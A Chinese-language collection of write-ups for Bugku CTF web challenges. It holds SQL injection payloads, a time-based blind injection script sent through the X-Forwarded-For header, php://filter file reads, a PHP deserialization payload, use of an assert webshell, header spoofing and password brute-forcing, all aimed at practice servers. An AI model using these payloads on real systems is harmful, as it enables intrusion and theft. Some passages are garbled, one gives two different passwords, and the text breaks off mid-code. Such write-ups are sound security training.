BugkuWeb题目解析

BugkuWeb



1.web2

解析:
源码中有注释
在这里插入图片描述
答案:
KEY{Web-2-bugKssNNikls9100}

2、计算器

解析:
参考链接
题目出现了一个很简单的验证码,只要输入正确就可以获得flag,但是尝试后发现题目的输入框只能输入一个数字,
果断审查元素,发现了输入框的最大长度被设置成了1,于是修改输入框的maxlength属性为5
输入结果就可以了。

答案:
flag{CTF-bugku-0032}

3、Web基础$_GET

题目:
http://123.206.87.240:8002/get/

解析:
根据题意,直接修改url
http://123.206.87.240:8002/get/?what=flag

答案:
flag{bugku_get_su8kej2en}
来自 http://123.206.87.240:8002/get/?what=flag

4、web基础$_POST

解析:
post值为

what=post

方法一
http://coolaf.com/

方法二
火狐HackBar发送post数据,

what=flag

答案:
flag{bugku_get_ssseint67se}

5、矛盾

题目:
http://123.206.87.240:8002/get/index1.php

解析:

$num=$_GET['num'];//GET方式获取参数
if(!is_numeric($num))//is_numeric()函数是判断是否为数字或者数字字符串,且有bool is_numeric ( mixed $var )
 
{
echo $num;
if($num==1)//矛盾既要是1又要不是数字
echo 'flag{**********}';
}

构造payload语句 num=1e0.1

http://123.206.87.240:8002/get/index1.php?num=1*e*0.1

答案:
flag{bugku-789-ps-ssdf}

6.web3

最后一行是这样的,

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->
 

使用html解码,得到flag
来自 https://www.jianshu.com/p/6750db0943b7

解码工具
http://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode

得到flag
<!--KEY{J2sa42ahJK-HS11III}-->

KEY{J2sa42ahJK-HS11III}

7域名解析
修改host文件,访问flag.baidu.com

8.你必须让它停下

flag{dummy_game_1s_s0_popular}

9.本地包含

http://123.206.87.240:8003/

(1)、从题目看出来,应该是本地文件包含攻击(程序员建站时为了方便,在脚本中调用了本地的文件,我们可以利用这个漏洞,调用我们想要的文件)

(2)、代码如下所示:

<?php
    include "flag.php"; 
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");
    show_source(__FILE__);
?>

(3).代码解释
a、include “flag.php” 他居然把我们想要的flag包含进来了,真是嘿嘿嘿嘿

b、 r e q u e s t 这 个 变 量 和 _request这个变量和 request_GET、$_POST一样,都属于超级全局变量,但是呢,运行时修改后者不会影响前者,反之亦然

c、以get/post/cookies等方式把以hello为名的东西提交过来

d、eval函数把字符串当作命令直接执行

e、最后一句把本页代码以高亮语法显示出来

(4).通过构造名字为hello的攻击命令,把flag.php里面的代码以数组形式输出出来
(5)、最后在url里如此构造攻击命令:

?hello=file("flag.php")

(6)、攻击解释:

a、file()函数的作用是读取文件,然后以数组的形式返回

http://123.206.87.240:8003/?hello=file(%22flag.php%22)

flag{bug-ctf-gg-99}

来自 http://123.206.87.240:8003/?hello=file("flag.php")

10、变量一

题目:
flag In the variable !

<?php  
 
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

代码审计题
代码解读:
preg_match用于执行一个正则表达式匹配。
eval() 函数把字符串按照 PHP 代码来执行。
var_dump() 打印变量的相关信息
[\w+]表示匹配数字、字母、下划线和加号本身字符
思路:
用户可控的变量只有args,但是经过了过滤,只允许是数字,字母与下划线的组合。
这里我们看到eval("var_dump($ a r g s ) ; " ) ; 语 句 中 , v a r d u m p 中 的 变 量 有 两 个 args);"); 语句中,var_dump中的变量有两个 args);");vardump符,说明var_dump中的变量名由 a r g s 指 定 而 题 目 提 示 说 f l a g 在 变 量 里 , 考 虑 到 可 以 利 用 args指定 而题目提示说flag在变量里,考虑到可以利用 argsflagGLOBLES变量。
$GLOBALS — 是一个数组,包含了全局作用域中可用的全部变量。
变量的名字就是数组的键。

知识补充:
可变变量是一宗独特的变量,它允许动态改变一个变量名称。其工作原理是该变量的名称由另外一个变量的值来确定,实现过程就是在变量的前面再多加一个美元符号“$”
所以只需传一个全局变量就好了,构造“?args=GLOBALS”
即:
http://123.206.87.240:8004/index1.php?args=GLOBALS

flag{92853051ab894a64f7865cf3c2128b34}

11 Web5

SPFUCK???

ctf{whatfk}

故:CTF{WHATFK}

12头等舱

(1)配置burp suite
(2)发现flag在响应头

flag{Bugku_k8_23s_istra}

13网站被黑

题干:
这个题没技术含量但是实战中经常遇到
http://123.206.87.240:8002/webshell/

实战经常遇到
网站被黑一般都会有shell,
用御剑扫描,发现

访问
http://123.206.87.240:8002/webshell/shell.php

使用burpsuite爆破密码为hack

得到flag:flag{hack_bug_ku035}

14管理员系统

重新打开网页,查看源代码

dGVzdDEyMw== 进行base解密
http://tool.chinaz.com/Tools/Base64.aspx
test123,试试admin用test123密码

IP禁止访问,请联系本地管理员登陆,IP已被记录,
想到
X-Forwarded-For ,简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP
来自 https://blog.csdn.net/qq_41725312/article/details/82499277

考虑伪装成本地访问,抓包改包,伪造一个XFF头,伪装成本地登录

1 	X-Forwarded_For: 127.0.0.1

然后转到Repeater模块中

点击go,

即:flag{85ff2ee4171396724bae20c0bd851f6b}

15 web4

根据题干:查看源代码
发现三段url编码,url解码得到

解码后被eval函数当作语句执行,查看拼接的到MD5值:
67d709b2b54aa2aa648cf6e87a7114f1,
提交就可以得到flag

KEY{J22JK-HS11}

16flag在index里

文件包含

参考:
谈一谈php://filter的妙用

https://blog.csdn.net/anjiaowangmenghan/article/details/76502273

点击后
网址变成
http://123.206.87.240:8005/post/index.php?file=show.php
这里我们看到了file关键字

于是我们就想到了php://filter,具体祥看上述参考文章
访问
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

然后对编码进行base64解密,得到flag
flag{edulcni_elif_lacol_si_siht}

17、输入密码查看flag

密码为五位数密码,使burpsuite爆破
(1)配置浏览器代理

(2)打开burp的代理功能,配置一样的地址/端口

(3)开启代理

(4)爆破过程详解

可以看到burp已经抓取到刚才输入的密码,

如果是https,则需要选中https选项

设置参数,
因为只有一个变量,所以Payload SET就是1,Payload类型为numbers数字类型,从10000到99999,步数为1

Option里面还可以设置线程,设置为100,右上角start attack

然后可以点击Length查看哪一个返回值与其他的不同,那么这个就一定是密码了,因为就这一个成功了

密码为13579
输入密码12379

得到:flag{bugku-baopo-hah}

18点击100万次

源码

<script>
    var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
                  var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
          }
        });
    });
  </script>

脚本爆破

import requests,re
r = requests.post('http://123.206.87.240:9001/test/',data={'clicks':1000000})
a = re.findall(r'flag{(.*)}', r.text)
print('flag{%s}'%a[0])

flag{Not_C00kI3Cl1ck3r}

19备份是个好习惯

打开网页后出现:
D41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
方法(1)
尝试各类加解密无果,回到题目,备份
常用备份文件方式,.bak
http://123.206.87.240:8002/web16/
http://123.206.87.240:8002/web16/index.php
http://123.206.87.240:8002/web16/index.php.bak
方法(2)
源码泄露工具,可以自动访问常见的CTF线索文件,如果返回正常说明文件存在。

git clone https://git.coding.net/yihangwang/SourceLeakHacker.git

Usage :
python SourceLeakHackerForLinux.py [URL] Example :
python SourceLeakHackerForLinux.py http://www.baidu.com/ Tips :
Your URL should must starts with “http://” or “https://”
If you have any questions, please contact [ wangyihanger@gmail.com ]

python SourceLeakHackerForLinux.py http://123.206.87.240:8002/web16/

可以看出 index.php 和index.php.bak 的状态码为200 ,则说明文件存在

方法(3)
用御剑扫描

下载得到index.php.bak文件
去掉.bak,并分析,

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/
 
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');/* #strstr获得URI从'?'往后(包括'?')的字符串,*/
$str = substr($str,1);
$str = str_replace('key','',$str);/*#把字符串中的'key'替换为空*/
parse_str($str);
echo md5($key1);
 
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){ /*#md5key1等于md5key2且key1不完全等于key2*/
    echo $flag."取得flag";
}
?>

解析:
将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较
如果md5加密的值一样而未加密的值不同,就输出flag.
两种方法绕过
1,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=a
2,利用==比较漏洞

如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=s214587387a

Bugku{OH_YOU_FIND_MY_MOMY}

20成绩单查询

成绩单
快来查查成绩吧
http://120.24.86.145:8002/chengjidan/
简单的sql注入

url:http://120.24.86.145:8002/chengjidan/index.php
post:
id=2' and 1=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
//fl4g,sc
 
id=2' and 1=0 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#
//skctf_flag
 
id=2' and 1=0 union select 1,2,3,skctf_flag from fl4g#
//BUGKU{Sql_INJECT0N_4813drd8hz4}

来自 https://findneo.github.io/180406BugkuWriteup/

BUGKU{Sql_INJECT0N_4813drd8hz4}

21秋名山老司机

快速计算使用脚本

import requests,re
 
def main():
    url = 'http://123.206.87.240:8002/qiumingshan/'
    s = requests.session()
    r = s.get(url)
    # r.encoding = 'utf-8'
    a = re.findall(r'<div>(.*)=\?;</div>',r.text)
    # print(r.text)
    a = eval(a[0]) #将字符串公式转化为公式
    r = s.post(url,data={'value':a})
    r.encoding = 'utf-8'
    print(r.text)
 
main()

Bugku{YOU_DID_IT_BY_SECOND}

22速度要快
查看网页源码

分析
①需要一个带margin属性的post请求,猜测解题点应该再margin上面,而且需要构造请求
②查看一下正常的请求头,发现里面带一个flag,关键点在这;
然后通过python,获取header里面的flag,并构造post请求,把flag放在margin里面发送出去

import requests
import base64
url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里
 
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
 
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去

KEY{111dd62fcd377076be18a}

23 cookies欺骗

http://www.cnblogs.com/izayoi/p/9733618.html

(1)打开网页后一堆乱码,每一行都是:rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry

(2)原url有两个参数
line=
filename=a2V5cy50eHQ=
(3)对a2V5cy50eHQ=用base64解码
http://tool.chinaz.com/Tools/Base64.aspx
得到其明文是key.txt
猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode()

那就传递index.php,对应的base64密文是aW5kZXgucGhw

访问
http://123.206.87.240:8002/web11/index.php?line=&filename=aW5kZXgucGhw
结果是空
(4)line参数是否决定了返回指定哪一行?
(5)使用脚本爬取全部代码

import requests
ses=requests.session()
url='http://123.206.87.240:8002/web11/index.php'
for i in range(0,30):
payload={'line':i,'filename':'aW5kZXgucGhw'}result=ses.get(url,params=payload).text
print(result)

或者代码

import requests
a =20
for i in range(a):
        url = "http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw" %i
        r = requests.get(url)
        print (r.text)

得到

<?php
 
error_reporting(0);
 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 
$line=isset($_GET['line'])?intval($_GET['line']):0;
 
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 
$file_list = array(
 
'0' =>'keys.txt',
 
'1' =>'index.php',
 
);
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){#需要Cookie参数margin=margin
 
$file_list[2]='keys.php';   #访问keys.php
 
}
 
if(in_array($file, $file_list)){
 
$fa = file($file);
 
echo $fa[$line];
 
}
 
?>	 

KEY{key_keys}

来自 https://findneo.github.io/180406BugkuWriteup/

24 never give up

F12查看网页源码,什么也没有,顶端有一个1p.html

使用view-source打开:
浏览器输入:view-source:http://123.206.87.240:8006/test/1p.html

 <HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
 
 
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

对var Words内容进行,url解码
http://tool.chinaz.com/Tools/Base64.aspx
对中间内容再进行,Base64解码
http://tool.chinaz.com/Tools/Base64.aspx。
替换,再进行url解码

<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
 
 
?>-->

访问
http://123.206.87.240:8006/test/f4l2a3g.txt
得到
flag{tHis_iS_THe_fLaG}

25.welcome to bugkuctf

https://blog.csdn.net/csu_vc/article/details/78375203
一道练习php://filter和php://input的好题
查看网页源码发现

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

分析:
①file_get_contents() 函数把整个文件读入一个字符串中。
②通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。
require 会生成致命错误(E_COMPILE_ERROR)并停止脚本;include 只生成警告(E_WARNING),并且脚本会继续。

主要考查php://input和php://filter伪协议
使用Firefox的hackbar工具
这里可以
txt传入:用txt=php://input post传输welcome to the bugkuctf
data协议:txt=data:text/plain,welcome to the bugkuctf 或者 txt=data:text/plain,welcome to the bugkuctf
http://123.206.87.240:8006/test1/index.php?txt=data:text/plain,welcome%20to%20the%20bugkuctf

然后尝试利用php://filter读取hint.php中的内容
file=php://filter/read=convert.base64-encode/resource=hint.php

&file=php://filter/read=convert.base64-encode/resource=hint.php
http://123.206.87.240:8006/test1/index.php?txt=data:text/plain,welcome%20to%20the%20bugkuctf&file=php://filter/read=convert.base64-encode/resource=hint.php
发现base64编码后字段
Base64解码
http://tool.chinaz.com/Tools/Base64.aspx
得到hint源码

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
echo "<br>";
return ("good");
        }  
    }  
}  
?>  

提示flag.php
使用同样方法查看flag.php
直接访问会有错误

后,按照同样的方法查看index.php看看

进行base解码,

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  
  1. 提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了preg_match
  2. hint.php中定义了一个类Flag,注意到中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
  3. __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开
  4. 在index.php源码中看到了$password的作用
    将hint.php中的Flag方法当做字符串执行时,会自动执行 __tostring方法,只有echo,只能输出一个或多个字符串,
    所以构造password为Flag类型,其中的string变量password为Flag类型,其中的string变量flie=flag.php即可

同时注意到
password=unserialize(password);
构造序列化对象payload为
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

http://123.206.87.240:8006/test1/index.php?txt=data:text/plain,welcome to the bugkuctf
&file=hint.php
&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

得到flag
flag{php_is_the_best_language}

26过狗一句话

题目提示为
1

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>

explode(separator,string,limit):把字符串打散为数组。
这段代码的意思是先把$poc按“#”分割成数组,然后把每一段又重新练起来变成"assert"。
用assert可以执行任意代码。
http://123.206.87.240:8010/?s=var_dump(scandir(’./’))

array(6) {
  [0]=&gt;
  string(1) "."
  [1]=&gt;
  string(2) ".."
  [2]=&gt;
  string(8) "f14g.txt"
  [3]=&gt;
  string(9) "index.php"
  [4]=&gt;
  string(4) "xxxx"
  [5]=&gt;
  string(19) "保护ctf人人有责.txt"
}

can you get flag?
http://123.206.87.240:8010/f14g.txt
得到flag
BUGKU{bugku_web_009801_a}

27字符?正则?

题目地址: http://123.206.87.240:8002/web10/

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

给id根据正则表达式的条件赋值,可以使用以下赋值是这样的:
http://123.206.87.240:8002/web10/?id=/keyaakeyaaaaakey:/a/aakeya%27/i
得到flag:
key is: KEY{0x0SIOPh550afc}

28.前女友

http://123.206.31.85:49162/code.txt
打开后

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

意思大致就是v1!=v2,md5值相等,之前提到过,是240610708和QNKCDZO,然后比较v3和flag,这里利用了strcmp的一个漏洞,不能比较数组,这里我的构造如下:

得到flag
SKCTF{Php_1s_tH3_B3St_L4NgUag3}

29.login1

提示信息:hint:SQL约束攻击
关于约束攻击:

约束攻击的原理就是注册用户名为’admin ‘(有多个空格,这里是三个)的账号,密码’123’(密码可以自定义),然后登陆成功,
但是数据库会返回表中的第一个用户,也就是真真实实的admin(这个漏洞只可能在老版本的sql中出现,新版本的mysql已经修复漏洞),
然后就可以用admin的身份登陆网页,拿到flag。
这里我注册的账号为‘admin ’(六个空格),密码为‘ABCabc123’然后就成功以管理员的身份拿到了flag

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

来自 https://findneo.github.io/180406BugkuWriteup/

30.你从哪里来

http://123.206.87.240:9009/from.php

修改http referer头即可
1
2
3
4
5
6
7
8 关于:
HTTP_REFERER 编辑
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,
告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,
一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。
比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
Referer的正确英语拼法是referrer。
由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。
其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。
方法①
右键,发送到Reoeater

添加
referer: https://www.google.com
点击“Go”

得到flag
方法②
使用hackbar插件

http://123.206.87.240:9009/from.php

https://www.google.com

flag{bug-ku_ai_admin}

31.md5 collision(NUPT_CTF)

md5碰撞
打开链接,要求输入a的值,不过文件的后缀名是.php(一般要用到0e开头的)
补充:在php文件中,以MD5值以0e开头的话,php就会认为他们两个的值相等 。
所以可以写个脚本来跑出一个以0e开头的。

下面的列表可以直接使用

0e开头MD5值小结

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

http://123.206.87.240:9009/md5.php?a=s878926199a
flag{md5_collision_is_easy}

32程序员本地网站

https://blog.csdn.net/qq_26090065/article/details/81636812
flag{loc-al-h-o-st1}

33各种绕过

打开后

<?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 
 
        print 'passwd can not be uname.'; 
 
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) 
 
        die('Flag: '.$flag); 
 
    else 
 
        print 'sorry!'; 
 
} 
?>

http://123.206.87.240:8002/web7/flag.php
无果,分析代码
最开始获取id时需要用urldecode解码(如果没有用url编码,解码还是原来的东西)

第一行的比较中,uname必须!=passwd才可以继续

第二次比较中,sha1是哈希算法,可以使用数组绕过

这样payload就比较简单了,这里我附上我的payload
http://123.206.87.240:8002/web7/
?uname[]=1
&id=margin

flag{HACK_45hhs_213sDD}

34Web8

提示:
txt????
打开 http://123.206.87.240:8002/web8/
链接后

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

看到了熟悉的file_get_contents函数,可以使用php://input给fn赋值,ac直接赋值,然后使两个相等就可以了,
ac=flags&fn=flag.txt

http://123.206.87.240:8002/web8/
?ac=flags
&fn=flag.txt

得到flag
flag{3cfb7a90fc0de31}

35细心

地址: http://123.206.87.240:8002/web13/
想办法变成admin
打开后

两个链接打开什么也没有
题目的意思打开是在找文件或目录,这样我们先来看一下网页可以直接访问的文件有哪些:
使用御剑爆一下

http://123.206.87.240:8002/web13/robots.txt
得到新的提示

http://123.206.87.240:8002/web13/resusl.php

构造
x=admin
直接访问
http://123.206.87.240:8002/web13/resusl.php?x=admin

或者

得到flag
flag(ctf_0098_lkji-s)

36.求getshell

//很显然只允许上传图片格式,不允许上传PHP脚本,但是我们就是要上传一句话木马!
https://www.cnblogs.com/RenoStudio/p/10355141.html
KEY{bb35dc123820e}

后缀黑名单检测和类型检测

37 INSERT INTO 注入
题干给了代码

error_reporting(0);
 
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
 
}
 
$host="localhost";
$user="";
$pass="";
$db="";
 
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
 
mysql_select_db($db) or die("Unable to select database");
 
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

观察程序,程序关闭的了错误报告 ,大致意思是将访问者的ip记录到数据库进行查询。
打开后页面显示
your ip is :101.130.55.133
从代码来看,应该是X_FORWARDED_FOR注入了,但是过滤了。
在过滤了逗号的情况下,就无法使用 if 语句了,当然在mysql下除了 if 还有一个功能的东西
1 select case when xxx then xxx else xxx end;
而且由于 , 被过滤,无法使用 substr和substring ,但是这里可以使用 from 1 for 1 替代,最后payload如下:
1 11’+(select case when substr((select flag from flag) from 1 for 1)=‘a’ then sleep(5) else 0 end))%23

#-*- encoding: utf-8 -*-
 
import requests
import string 
 
mystring = string.ascii_letters+string.digits
url="http://123.206.87.240:8002/web15/"
data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"  #这里的{}对应的是后面所需要的format
flag = ''
 
for i in range(1,35):
    for j in mystring:
        try:
            headers = {'x-forwarded-for':data.format(str(i),j)}
            res = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout:
            flag += j
            print flag
            break
 
print 'The final flag:'+flag

flag{cdbf14c9551d5be5612f7bb5d2867853}

38这是一个神奇的登录框

http://www.qingpingshan.com/m/view.php?aid=389224
flag{ed6b28e684817d9efcaf802979e57aea}

39.多次

解析

https://blog.csdn.net/xuchen16/article/details/82869382

flag{bugku-sql_6s-2i-4t-bug}
来自 https://www.jianshu.com/p/ae6e5a885588

40 PHP_encrypt_1(ISCCCTF)

题干:
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
同时给了加密的源码

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

直接给出解密代码

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    for ($i=0; $i < $md_len; $i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
